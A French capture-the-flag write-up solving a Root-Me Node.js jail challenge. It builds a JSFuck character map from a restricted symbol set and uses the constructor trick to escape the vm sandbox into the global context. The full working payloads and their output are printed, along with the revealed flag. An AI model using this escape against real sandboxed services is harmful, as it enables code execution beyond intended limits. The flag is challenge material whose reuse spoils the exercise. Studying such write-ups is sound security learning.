📚 NodeJs - Never Trust Node One
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
🚩 Avoir le flag
Une fois arrivé dans cette jail NodeJs
on n’a pas beaucoup de choix. Vu que nous avons uniquement droit à ces caractères:
$ nc nodejs.root-me.org 52000
+-------------------------------------------------------------------------------------------------------------+
| #### ## ## #### ## ## ## ## ###### ##### ###### #### #### |
| ## ## #### ## ## ## ## ## ## #### # ## # ## ## ## ## ## ## ## ## |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ##### ### ###### |
| ## ###### ## ## ## ## ## ###### ## ## ## ## ## ## ### ## |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## |
| #### ## ## ####### #### ##### ####### ## ## #### ##### #### ## ###### ## #### |
+-------------------------------------------------------------------------------------------------------------+
For security reasons, you can only use the following characters : ()[]{}'0123456789+-*/!
>>>
🗺️ Comment savoir où sommes nous ?
Avec aussi peu de caractères, il est très important de savoir au minimum dans quelles conditions nous sommes, pour ce faire nous allons générer une erreur.
>>> 1 **** 1
evalmachine.<anonymous>:1
(function() { 'use strict'; return 1 **** 1 ; })()
^^
SyntaxError: Unexpected token '**'
at new Script (node:vm:99:7)
at runInNewContext (/index.js:63:20)
at /index.js:77:33
at [_onLine] [as _onLine] (node:internal/readline/interface:414:7)
at [_line] [as _line] (node:internal/readline/interface:887:18)
at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1265:22)
at ReadStream.onkeypress (node:internal/readline/interface:264:20)
at ReadStream.emit (node:events:518:28)
at emitKeys (node:internal/readline/utils:371:14)
at emitKeys.next (<anonymous>)
Nous savons donc:
- Nous sommes dans un environnement
NodeJs
- Nous avons accès à la fonction
eval
- Nous sommes en mode
strict
- Nous sommes dans le module
vm
- Nous avons accès à la fonction
runInNewContext
💨 Avoir des caractères
Pour commencer à construire une payload en JavaScript, la première étape consiste à générer des caractères. Une technique amusante et puissante pour cela repose sur ce qu'on appelle le JSFuck
🤔 C'est quoi le ``JSFuck`` ?!
Le JSFuck
est une méthode d'obfuscation. Grâce à la permissivité du langage JavaScript, on peut littéralement écrire n'importe quel script uniquement avec ces symboles. Cela fonctionne parce que JavaScript est extrêmement souple avec les conversions de types et la manipulation d’objets internes.
Prenons un exemple simple :
>>> (!1 + '')[1]
a
Décomposons ce qu’il se passe ici :
!1
est équivalent àfalse
false + ''
force la conversion de false en chaîne de caractères, donnant 'false''false'[1]
renvoie le caractère à l’index 1, soit'a'
En combinant ce type de logique, on peut reconstruire lettre par lettre n’importe quelle chaîne de caractères, ce qui est fondamental pour construire une payload sans utiliser directement de lettres dans le code source.
Nous pouvons donc effectuer un tableau comme cela pour les lettres:
const map = {
'a': `(!1+'')[1]`,
'b': `({}+'')[2]`,
'c': `({}+'')[5]`,
'd': `([][1]+'')[2]`,
'e': `(!0+'')[3]`,
'f': `(!1+'')[0]`,
'g': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
'h': ``,
'i': `(1/0+'')[3]`,
'j': `({}+'')[3]`,
'k': ``,
'l': `(!1+'')[2]`,
'm': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[11]`,
'n': `(1/0+'')[4]`,
'o': `({}+'')[1]`,
'p': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
'q': ``,
'r': `(!0+'')[1]`,
's': `(!1+'')[3]`,
't': `(!0+'')[0]`,
'u': `(!0+'')[2]`,
'v': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[25]`,
'w': ``,
'x': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[13]`,
'y': `(1/0+'')[7]`,
'z': ``,
'A': `([][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'B': `((!0)[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'C': ``,
'D': ``,
'E': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[12]`,
'F': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'G': ``,
'H': ``,
'I': `(1/0+'')[0]`,
'J': ``,
'K': ``,
'L': ``,
'M': ``,
'N': `([]/[]+'')[0]`,
'O': `({}[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'P': ``,
'Q': ``,
'R': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'S': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'T': ``,
'U': ``,
'V': ``,
'W': ``,
'X': ``,
'Y': ``,
'Z': ``,
'.': `(+(11+(!0+'')[3]+100)+'')[1]`,
'+': `(1111111111111111111111+'')[19]`,
'<': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[0])`,
'>': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[23])`,
'=': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[11])`,
'/': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[25])`,
'"': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])`,
};
🧩 Injection de code
Comme nous le savons, le module vm
est un module qui permet d'exécuter du code JavaScript dans un contexte différent. Il est souvent utilisé pour exécuter du code dans un environnement sécurisé, mais il peut également être utilisé pour exécuter du code dans le contexte global
Nous savons également que nous pouvons sortir du context
de vm
et exécuter du code dans le contexte global. Grâce à ce trick:
>>> this.constructor.constructor("return this")()
Welcome to Node.js v22.15.0.
Type ".help" for more information.
> this.constructor.constructor("return this")()
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Function: structuredClone],
atob: [Function: atob],
btoa: [Function: btoa],
performance: [Getter/Setter],
fetch: [Function: fetch],
navigator: [Getter],
crypto: [Getter]
}
Nous allons faire dans notre jail exactement la même chose. Mais sous format JSFuck
>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2])()
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Function: structuredClone],
atob: [Getter/Setter],
btoa: [Getter/Setter],
performance: [Getter/Setter],
fetch: [Function: fetch],
crypto: [Getter],
secret: [Function (anonymous)],
contextReturn: [Circular *1]
}
Nous voyons que nous avons accès à une fonction secrète secret
. Nous allons donc l'exécuter.
>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2]+(+(11+(!0+'')[3]+100)+'')[1]+(!1+'')[3]+(!0+'')[3]+({}+'')[5]+(!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(1111111111111111111111+'')[19]+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]))()
(password) => {
if (password === undefined) {
console.log("You need to enter a password !");
return;
}
if (password === "MST{nodejs_is_not_safe}") {
console.log("YOU WIN !!!");
return;
}
console.log("Wrong password !");
}
📖 Explication
'' -> this
[
(!1+'')[1] + -> 'a'
(!0+'')[0] + -> 't'
]
[
({}+'')[5] + -> 'c'
({}+'')[1] + -> 'o'
(1/0+'')[4] + -> 'n'
(!1+'')[3] + -> 's'
(!0+'')[0] + -> 't'
(!0+'')[1] + -> 'r'
(!0+'')[2] + -> 'u'
({}+'')[5] + -> 'c'
(!0+'')[0] + -> 't'
({}+'')[1] + -> 'o'
(!0+'')[1] -> 'r'
]
(
(!0+'')[1] + -> 'r'
(!0+'')[3] + -> 'e'
(!0+'')[0] + -> 't'
(!0+'')[2] + -> 'u'
(!0+'')[1] + -> 'r'
(1/0+'')[4] + -> 'n'
' ' + -> ' '
(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14] + -> 'g'
(!1+'')[2] + -> 'l'
({}+'')[1] + -> 'o'
({}+'')[2] + -> 'b'
(!1+'')[1] + -> 'a'
(!1+'')[2] + -> 'l'
(+(11+(!0+'')[3]+100)+'')[1]+ -> '.'
(!1+'')[3] + -> 's'
(!0+'')[3] + -> 'e'
({}+'')[5] + -> 'c'
(!0+'')[1] + -> 'r'
(!0+'')[3] + -> 'e'
(!0+'')[0] + -> 't'
(1111111111111111111111+'')[19] + -> '+'
(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
)
()
🤓 Documentation
- Recréer l'alphabet
- Faire un JSFuck court
- Avoir tous les caractères et tous les symboles
- Lire une fonction
- Alternative à this
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github